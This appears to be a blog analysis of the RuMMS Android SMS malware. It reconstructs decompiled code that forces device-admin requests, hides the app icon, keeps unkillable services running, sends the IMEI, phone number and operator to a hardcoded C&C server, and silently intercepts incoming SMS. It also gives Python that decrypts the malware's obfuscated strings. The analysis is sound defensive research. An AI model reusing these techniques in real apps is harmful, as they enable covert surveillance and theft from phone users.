RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye
about this malware. In this analysis, I’ll try to give an overview of malicious behaviors of the malware, and techniques it uses.
First steps
First bad news: the code has been obfuscated: names don’t mean anything, and some strings are encrypted … MainActivity is the only class with a “normal” name. Let’s analyze it little by little:

Knowing that o.q is as follows:
1
2
3 >public static void q(Context paramContext, Intent paramIntent){
paramContext.startService(paramIntent);
>}
we know that a service named Tb is started. Secondly, because of the usage of ComponentName, my first guess as I saw this routine was that the app was requesting admin privileges right at the beginning. And it was a correct guess, because Aa class is the DeviceAdminReceiver.

As shown on the next picture, the app will ask for admin privileges as long as they are not granted. Indeed, the code 100 is used to filter the Activity‘s calling code
and the routine q is called again if the code is not equal to -1:

If privileges are granted, the routine o.q is then used to remove the app from the launcher:

and a new Service named Ad is started.
Ad Service
This class only contains:

Probably a way to remain always active…
Tb service

Once again, the service is restarted immediately after being destroyed, and in onCreate a new Thread is started. By looking at the class ax, we can actually see
that the routine ax.run only calls postDelayed on the Handler member of Tb. Then, it could written as follows:
1
2
3
4
5 >new Thread(new Runnable(){
public void run(){
Tb.handler.postDelayed(Tb.runnable, 0);
}
>}).start();
The Runnable is an instance of the class av, having this routine run:

The array w contains strings encrypted with routines q(String) and q(char[]): private static final String[] w = { q(q("GSqN")), q(q("V[")), q(q("Z\\n")), q(q("F@q")), q(q("Z_")), q(q("\\\\x")), q(q("Z\\nV")), q(q("G[pG")), q(q("lBxP")), q(q("ZV")), q(q("l[sQ\007")), q(q("Z\\{M")), q(q("VZk")) };
I will not get into details of the algorithm here (see last section), so here are the decrypted strings:
1
2
3
4
5
6
7
8
9
10
11
12
13 >0: tall
>1: ei
>2: ins
>3: url
>4: im
>5: one
>6: inst
>7: time
>8: _per
>9: id
>10: _inst
>11: info
>12: ehv
And then, the code could be written as follows, according to what JD-GUI shows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 >public void run(){
if (!this.q.w.contains("one_inst")){
SharedPreferences.Editor editor = this.q.w.edit();
editor.putInt("one_inst", 1);
editor.putString("url", this.q.getApplicationContext().getString(R.string.URL));
editor.putString("inst", "1");
editor.putLong("time_per_ehv", 100L);
//o.t(Context) returns the device ID
editor.putString("id", this.q.getApplicationContext().getString(R.string.PREFIX_ID) + o.t(this.q.getApplicationContext()));
editor.putString("imei", o.t(this.q.getApplicationContext()));
editor.apply();
}
if (this.q.w.getString("inst", null) == "1") {
new v(this.q.getApplicationContext(), new ArrayList(), "install").execute(new String[] { this.q.w.getString("url", null) });
}
else{
new v(this.q.getApplicationContext(), new ArrayList(), "info").execute(new String[] { this.q.w.getString("url", null) });
}
Tb.q(this.q).postDelayed(this, bo.q);
>}
knowing that strings.xml contains:
1
2
3
4
5
6 ><string name="app_name">Infinite Flight</string>
><string name="hello_world">Hello world!</string>
><string name="action_settings">Settings</string>
><string name="PREFS_NAME">AppPrefs</string>
><string name="PREFIX_ID">0080</string>
><string name="URL">http://37.1.207.31/api/?id=7</string>
We can then suppose that the malware will try to exfiltrate device informations to a C&C server.
To summarize, the app starts by asking admin privileges continuously, and then starts “unkillable” Services, one saving data in SharedPreferences for a future use.
Private data theft
The routine run we just analyzed ends by creating a new v, and the constructor takes as argument a string which was “install” or “info”, which is quite suspicious. This class extends AsyncTask, that’s the reason whyexecute was called on newly created objects. In the decompiled class, I did’t found the routine doInBackground, however, there were three protected methods: onPreExecute(), void:q(JSONObject), and JSONObject:q(String[]). It was then obvious
that doInBackground was the third one. This routine only contains this:
1
2
3 >protected JSONObject q(String[] paramArrayOfString){
return q(paramArrayOfString[q.j]);
>}
where q.j equals 0 as one might expect. The routine q is as follows:

Once again, strings are encrypted and stored in the array t = { q(e("/\b8\021")), q(e("+\003*\026+\"")), q(e("/\002")), q(e("/\b-\n%*\n")), q(e("\"\007*\037u")), q(e("%\t0\n%%\022\001\027 f[~A")), q(e("2\0173\033")), q(e("%\t3\023")), q(e("\031\023,\022")), q(e("(\0073\033")), q(e("/\020;\f=")), q(e("\031\025;\020 ")), q(e("'\b:")), q(e("lT")), q(e("3\025")), q(e("(\003)")), q(e("_gG}_")), q(e("\031\026;\f")), q(e("2\003&\n")), q(e("\"\0032")), q(e("q_nN")), q(e("#\016(")), q(e("wL")), q(e("/\b-\n")), q(e("'\n2!04\023;")), q(e("3\0242")), q(e("\031\b+\023&#\024")), q(e("5\002")), q(e("\031\017:")), q(e("%\0072\022")), q(e("'\004")), q(e("+\t:\033(")), q(e("0\003,\r-)\b")), q(e(")\025")), q(e("#\017")), q(e("/\013")), q(e("%\t+\02004\037"))
Once decrypted, we have:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37 >0: info
>1: method
>2: id
>3: install
>4: data1
>5: contact_id = ?
>6: time
>7: comm
>8: _url
>9: name
>10: ivery
>11: _send
>12: and
>13: *2
>14: us
>15: new
>16: 9999999
>17: _per
>18: text
>19: del
>20: 7900
>21: ehv
>22: 1*
>23: inst
>24: all_true
>25: url
>26: _number
>27: sd
>28: _id
>29: call
>30: ab
>31: model
>32: version
>33: os
>34: ei
>35: im
>36: country
We can then rewrite the code in this way:
1
2
3
4
5
6
7
8
9
10
11
12
13 >public JSONObject q(String paramString){
JSONObject jsonObj = null;
r localr = new r();
this.e.add(new BasicNameValuePair("method", this.r)); //the string given in the constructor
this.e.add(new BasicNameValuePair("id", this.w.getString("id", null))); //this.w: SharedPreferences
if (this.r.startsWith("install")) {
return localr.q(paramString, q.Q, q());
}
else if (this.r.startsWith("info") || this.r.startsWith(q.d)){
return localr.q(paramString, q.Q, this.e);
}
return jsonObj;
>}
knowing that
q.Q = "POST"(decrypted)q.d = "sms"(decrypted),ris a class used to send HTTP request (which is consistent withq.Q)- and finally, the list returned by
q()contains these values (once decrypted):1
2
3
4
5
6
7
8
9
10>public List q(){
this.e.add(new BasicNameValuePair("operator", o.o(q))); //param q : Context
this.e.add(new BasicNameValuePair("model", Build.MODEL));
this.e.add(new BasicNameValuePair("os", Build.VERSION.RELEASE));
this.e.add(new BasicNameValuePair("phone", o.y(q)));
this.e.add(new BasicNameValuePair("imei" , o.t(q)));
this.e.add(new BasicNameValuePair("version", bo.w));
this.e.add(new BasicNameValuePair("country", o.w(q)));
return this.e;
>}
The routine onPostExecute, takes as parameter a JSONObject containg C&C server’s response, and processes this response. This response contains commands, compared against
concatenated strings, based on decrypted ones listed above.
To conclude, we have here the way used by the malware to communicate with the C&C server. In doInBackground, the malware sends a query in order to know what to do, and the C&C server
answers with commands, asking the malware to send SMS, make calls, steal data, etc.
SMS receiver
But that’s not all! In the Manifest, a SMS receiver is registered (class Ma). Unfortunately, the routine onReceive was not properly decompiled, but I found these interesting lines:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 >// 237: getfield 117 org/zxformat/Ma:e Landroid/content/SharedPreferences;
>// 240: getstatic 31 org/zxformat/Ma:r [Ljava/lang/String;
>// 243: iconst_1
>// 244: aaload
>// 245: aconst_null
>// 246: invokeinterface 192 3 0
>// 251: aastore
>// 252: invokevirtual 196 org/zxformat/v:execute ([Ljava/lang/Object;)Landroid/os/AsyncTask;
>// 255: pop
>// 256: iload 5
>// 258: ifne +104 -> 362
>// 261: aload_0
>// 262: aload_1
>// 263: invokespecial 198 org/zxformat/Ma:w (Landroid/content/Context;)V
First, we can see that the AsyncTask named v we just analyzed is called here, and we can suppose that received SMS are exfiltrated in this way. The second thing to note
is the call to the routine w, calling another routine q:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 >private void w(Context paramContext){
try{
q(paramContext);
}
catch (Exception paramContext) {}
>}
>protected boolean q(Context paramContext) throws Exception{
try{
Class.forName(q.x + r[3] + q.r + r[2]).getDeclaredMethod(q.h + q.r, new Class[0]).invoke(this, new Object[0]);
return true;
}
catch (Exception e){
throw e;
}
>}
Once decrypted, the array r contains:
1
2
3
4 >0: pdus
>1: url
>2: Receiver
>3: .content.
and q.x = "android", q.r = "Broadcast", and q.h = "abort", and then we have:
1 >Class.forName("android.content.BroadcastReceiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
A few words about strings encryption
In many classes, strings are encrypted using two routines. The first one only affects the first byte, and the second one XOR’s each byte with 5 different constants. Let’s take as example the class q, containing malware’s constants:

which can be written in this way in Python:
1
2
3
4 >def first(paramString):
if len(paramString) < 2:
paramString = chr(ord(paramString[0])^0x44)+paramString[1:]
return paramString
and:

or in Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 >def xor(paramArrayOfChar):
if (len(paramArrayOfChar) == 0):
return ""
string = ""
for j in range(len(paramArrayOfChar)):
c = j % 5
i = -1
if c == 0:
i = 38
elif c == 1:
i = 85
elif c == 2:
i = 82
elif c == 3:
i = 20
else:
i = 108
string += chr(i ^ ord(paramArrayOfChar[j]));
return string
One has then to change the constant in the first routine and the values for i in the second one, and call xor(first(...))
RuMMS is a big family of malwares, and some classes of this sample seem to be useless. Indeed, since app icon is disabled, the author’s intention was not to make a usable app, and then, many features of this malware sample are probably unused.
Malware details and resources:
- decompiled classes: dec_sources
- Hash: 30f2b0edd191d1465bac11553d60f761
- this sample contains a file named
BATTLETO.NESis folderassets(hash: bbafead19c25b38a5a129bb8c51aaf8d) - [1] FireEye’s article : https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html